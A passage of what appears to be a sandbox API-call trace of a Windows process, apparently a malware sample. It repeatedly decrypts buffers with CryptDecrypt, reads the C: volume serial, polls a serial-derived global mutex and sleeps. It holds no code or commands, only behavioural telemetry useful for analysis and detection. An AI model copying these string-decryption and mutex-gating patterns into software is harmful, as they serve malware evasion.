phKey=0xa1f938*=0x4cbfe8) returned 1 [0048.843] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0048.843] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0xa1f8ec | out: pbData=0xab4fa0, pdwDataLen=0xa1f8ec) returned 1 [0048.843] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0048.844] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0048.845] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.845] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0048.846] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0048.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.846] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0048.846] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab1508 [0048.846] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0048.846] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0048.847] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f948 | out: pbData=0xab1508, pdwDataLen=0xa1f948) returned 1 [0048.847] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0048.847] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab1748 [0048.847] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x11c [0048.847] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0048.847] CloseHandle (hObject=0x11c) returned 1 [0048.848] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0048.850] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0048.859] Sleep (dwMilliseconds=0x3e8) [0049.947] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7098 [0049.947] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cda90) returned 1 [0049.947] CryptSetKeyParam (hKey=0x4cda90, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0049.947] CryptDecrypt (in: hKey=0x4cda90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7098, pdwDataLen=0xa1f914 | out: pbData=0xab7098, pdwDataLen=0xa1f914) returned 1 [0049.947] CryptDestroyKey (hKey=0x4cda90) returned 1 [0049.947] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab70c0 [0049.947] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab70e8 [0049.947] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab7110 [0049.947] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cda90) returned 1 [0049.947] CryptSetKeyParam (hKey=0x4cda90, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0049.947] CryptDecrypt (in: hKey=0x4cda90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7110, pdwDataLen=0xa1f8ec | out: pbData=0xab7110, pdwDataLen=0xa1f8ec) returned 1 [0049.947] CryptDestroyKey (hKey=0x4cda90) returned 1 [0049.948] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7110 | out: hHeap=0xab0000) returned 1 [0049.948] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab70c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.948] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab70e8 | out: hHeap=0xab0000) returned 1 [0049.948] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7098 | out: hHeap=0xab0000) returned 1 [0049.948] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.949] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab70c0 | out: hHeap=0xab0000) returned 1 [0049.949] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7098 [0049.949] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cda90) returned 1 [0049.949] CryptSetKeyParam (hKey=0x4cda90, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0049.949] CryptDecrypt (in: hKey=0x4cda90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7098, pdwDataLen=0xa1f948 | out: pbData=0xab7098, pdwDataLen=0xa1f948) returned 1 [0049.949] CryptDestroyKey (hKey=0x4cda90) returned 1 [0049.949] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab70e0 [0049.949] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x16c [0049.949] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x0) returned 0x102 [0049.949] CloseHandle (hObject=0x16c) returned 1 [0049.949] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7098 | out: hHeap=0xab0000) returned 1 [0049.950] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab70e0 | out: hHeap=0xab0000) returned 1 [0049.950] Sleep (dwMilliseconds=0x3e8) [0051.709] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0051.709] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d5360) returned 1 [0051.709] CryptSetKeyParam (hKey=0x4d5360, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0051.709] CryptDecrypt (in: hKey=0x4d5360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0051.709] CryptDestroyKey (hKey=0x4d5360) returned 1 [0051.709] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0051.709] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0051.709] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0051.709] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d5360) returned 1 [0051.709] CryptSetKeyParam (hKey=0x4d5360, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0051.709] CryptDecrypt (in: hKey=0x4d5360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0051.709] CryptDestroyKey (hKey=0x4d5360) returned 1 [0051.710] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0051.710] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.710] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0051.710] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0051.710] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.711] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0051.711] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0051.711] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d5360) returned 1 [0051.711] CryptSetKeyParam (hKey=0x4d5360, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0051.711] CryptDecrypt (in: hKey=0x4d5360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0051.711] CryptDestroyKey (hKey=0x4d5360) returned 1 [0051.711] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0051.711] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x184 [0051.711] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x0) returned 0x102 [0051.711] CloseHandle (hObject=0x184) returned 1 [0051.711] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0051.712] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0051.712] Sleep (dwMilliseconds=0x3e8) [0053.212] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0053.212] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8860) returned 1 [0053.212] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0053.212] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0053.212] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.212] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0053.212] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0053.212] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0053.212] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8860) returned 1 [0053.212] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0053.212] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0053.212] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.212] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0053.213] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.213] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0053.214] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0053.214] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.214] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0053.214] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0053.214] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8860) returned 1 [0053.215] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0053.215] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0053.215] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.215] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0053.215] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x19c [0053.215] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0053.215] CloseHandle (hObject=0x19c) returned 1 [0053.216] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0053.217] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0053.217] Sleep (dwMilliseconds=0x3e8) [0054.357] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0054.357] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8820) returned 1 [0054.357] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0054.357] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0054.357] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.357] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0054.357] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0054.357] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0054.357] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8820) returned 1 [0054.357] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0054.357] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0054.357] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.358] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0054.358] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.358] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0054.359] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0054.359] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.359] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0054.359] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0054.359] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8820) returned 1 [0054.359] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0054.359] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0054.359] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.359] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0054.359] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x194 [0054.359] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0054.359] CloseHandle (hObject=0x194) returned 1 [0054.360] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0054.360] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0054.360] Sleep (dwMilliseconds=0x3e8) [0055.653] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0055.653] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8860) returned 1 [0055.653] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0055.653] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0055.653] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.654] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0055.654] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0055.654] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0055.654] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8860) returned 1 [0055.654] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0055.654] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0055.654] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.654] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0055.654] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.654] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0055.655] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0055.655] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.655] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0055.655] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0055.655] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8860) returned 1 [0055.655] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0055.655] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0055.655] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.655] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0055.655] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x174 [0055.655] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0055.655] CloseHandle (hObject=0x174) returned 1 [0055.656] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0055.656] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0055.656] Sleep (dwMilliseconds=0x3e8) [0057.449] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0057.449] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d86e0) returned 1 [0057.449] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0057.449] CryptDecrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0057.450] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0057.450] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0057.450] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0057.450] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0057.450] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d86e0) returned 1 [0057.450] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0057.450] CryptDecrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0057.450] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0057.450] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0057.450] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.456] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0057.456] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0057.456] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.459] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0057.459] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0057.459] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d86e0) returned 1 [0057.459] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0057.459] CryptDecrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0057.459] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0057.459] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0057.459] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x180 [0057.459] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0057.488] CloseHandle (hObject=0x180) returned 1 [0057.488] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0057.488] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0057.488] Sleep (dwMilliseconds=0x3e8) [0058.719] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0058.719] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d87e0) returned 1 [0058.719] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0058.719] CryptDecrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0058.719] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0058.719] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0058.719] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, 